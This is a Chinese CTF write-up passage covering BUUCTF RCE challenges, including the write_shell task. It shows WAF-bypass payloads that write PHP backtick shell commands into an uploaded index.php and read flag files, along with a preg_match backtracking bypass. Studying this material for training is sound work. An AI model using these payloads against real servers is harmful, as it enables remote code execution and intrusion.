?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

![image-20240413215233829](buu RCE/image-20240413215233829.png)

得到flag

方法二 正则最大回溯

要用POST传参 因为GET会因为header太大而报错

用preg_match的回溯限制,长度为一百万,来绕过preg_match,因为当preg_match匹配的字符串太长的时候就会返回false,也就是数据溢出

关于正则最大回溯绕过preg_match 参考这篇文章

![image-20240413221824427](buu RCE/image-20240413221824427.png)

得到flag

[红明谷CTF 2021]write_shell

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}

看到代码有waf和上传文件功能

正则匹配 _,php,~,^,空格等符号 定义了waf函数 用check函数进行检查过滤 不允许写入黑名单中

sandbox创建目录

  • 如果actionpwd,则显示存储上传文件的目录路径
  • 如果actionupload,则从$_GET["data"]参数获取数据,使用waf函数对其进行过滤,然后将数据保存到index.php文件中

构造payload ?action=pwd 使其创建目录

![image-20240414211346657](buu RCE/image-20240414211346657.png)

sandbox/1254adea244b6ef09ecedbb729f6c397/index.php

![image-20240414211506785](buu RCE/image-20240414211506785.png)

file_put_contents()函数 会把数据data写入index.php文件

php采用.拼接 空格用%09代替

构造payload /?action=upload&data=<?=(ph.pinfo)()?>

![image-20240414211932303](buu RCE/image-20240414211932303.png)

访问 发现写入成功

PHP运算符 "`“反引号 PHP将反引号中的内容作为shell命令来执行 并将输出的信息返回(使用反引号的效果和shell_exec()函数效果一样)

注:关闭了shell_exec()函数 反引号运算符是无效的 且 反引号不能再上引号里使用

构造paylaod

?action=upload&data=<?=`ls%09/`?>

传参之后 访问sandbox 得到目录

![image-20240414214701744](buu RCE/image-20240414214701744.png)

接着访问 flllllll1112222222lag 构造payload

?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>

![image-20240414215332932](buu RCE/image-20240414215332932.png)

得到flag

标签:字符,image,buu,过滤,RCE,ff%,RCE1,png
From: https://www.cnblogs.com/Yolololo/p/18134816

相关文章

  • BUUCTF misc 刷题第一页
    你竟然赶我走1.下载后解压得到biubiu.jpg,拖入010editor打开,在结尾发现flag:二维码1.解压后得到一张二维码,用工具QRResearch打开,得到:2.尝试使用Stegsolve打开,然后Analyse->FileFormat,拖到最底下发现了zip文件格式:(PK头)3.由此可以想到使用binwalk分离png和zip文件:4.打开......
  • 新手【BUUCTF】逆向writeup()
    0x00前言在大三开始入门逆向,已学完小甲鱼解密篇,刚开始看《加密与解密》,现在沉浸在快乐的刷题学习中.....buuctf_reverse地址0x01刚接触的逆向题reverse1首先拿道题第一步先查壳,我用的查壳工具是peid和exeinfope 发现可以直接打开,双击运行,发现报错用IDApro64位打开,使用m......
  • [BUUCTF]ciscn_2019_c_1
     0.环境Ubantu-22.04.41.查看文件格式终端中输入命令checksec--file='filename'    #filename为下载文件的自定义名称输出结果为没开canary保护,开了NX终端中输入命令file'filename' 输出为64位,放到ida64里反编译2.IDA分析程序 1.main函数 ......
  • buuctf[ACTF2020 新生赛]BackupFile
    看题目的名称和首页的提升不难拆到这是一题关于网站页面备份的题目。直接访问index.php.bak,就可以得到一个文件,把文件打开可以得到一串PHP代码<?phpinclude_once"flag.php";if(isset($_GET['key'])){$key=$_GET['key'];if(!is_numeric($key)){e......
  • buuctf-misc-刷新过的图片
    解压后发现是张图片按照之前图片题的思路,我们依次检查了图片属性、图片十六进制、LSB隐写,都没有发现隐藏信息也尝试了之前做过的题buuctf-misc-九连环中的隐写方法steghide,都没有发现隐藏信息那么这道题其实用的是另一种隐写方式F5隐写用到的工具F5-steganography将Misc.j......
  • buuctf-misc-荷兰宽带数据泄露
    解压后是个conf.bin文件,010editor打开没有发现什么隐藏信息、熟悉的文件头之后了解到一个新工具,RouterPassView这是下载地址:https://www.nirsoft.net/utils/router_password_recovery.html可以同时下载到中文翻译包利用这个工具打开conf.bin搜索flag、username、password等......
  • buuctf-misc-九连环
    解压后发现一张图片,详细信息里面没内容,用010editor打开发现图片后面隐藏了一个压缩包,提取出压缩包压缩包其中一个文件加密了,再用010editor打开,将目录区的01改为00去除伪加密解压,得到一张图片与一个压缩包,压缩包有密码,试了不是伪加密那么只能从图片入手了,详细信息没有内容,十六......
  • buuctf-misc-snake
    打开压缩包,是张图片,详细信息里没有东西,用010editor看看有没有隐藏东西后面藏了个压缩包,保存下来,没有密码,解压得到两个文件一个密文文件,一个密钥文件密钥经base64解码后得到WhatisNickiMinaj'sfavoritesongthatreferstosnakes?使用万能的搜索引擎得到答案anaconda......
  • buu6
    hitcon_ctf_2019_one_punch 保护全开,ida打开,libc版本为2.29 删除功能存在uaffrompwnimport*context(os="linux",arch="amd64")#,log_level="debug")context.terminal=['tmux','splitw','-h']pwn=&quo......
  • buu5
    bcloud_bctf_2016 32位,ida打开,菜单堆题,只有增加删除修改功能,在选择功能之前会让我们输入名字,且会把我们输入的名字打印出来,这里写满的话会把第一个堆块的指针地址泄露出来(尝试), 下图通过strcpy可以造成堆溢出,我们用来修改topchunk的size进行houseofforcep.sendafter("yo......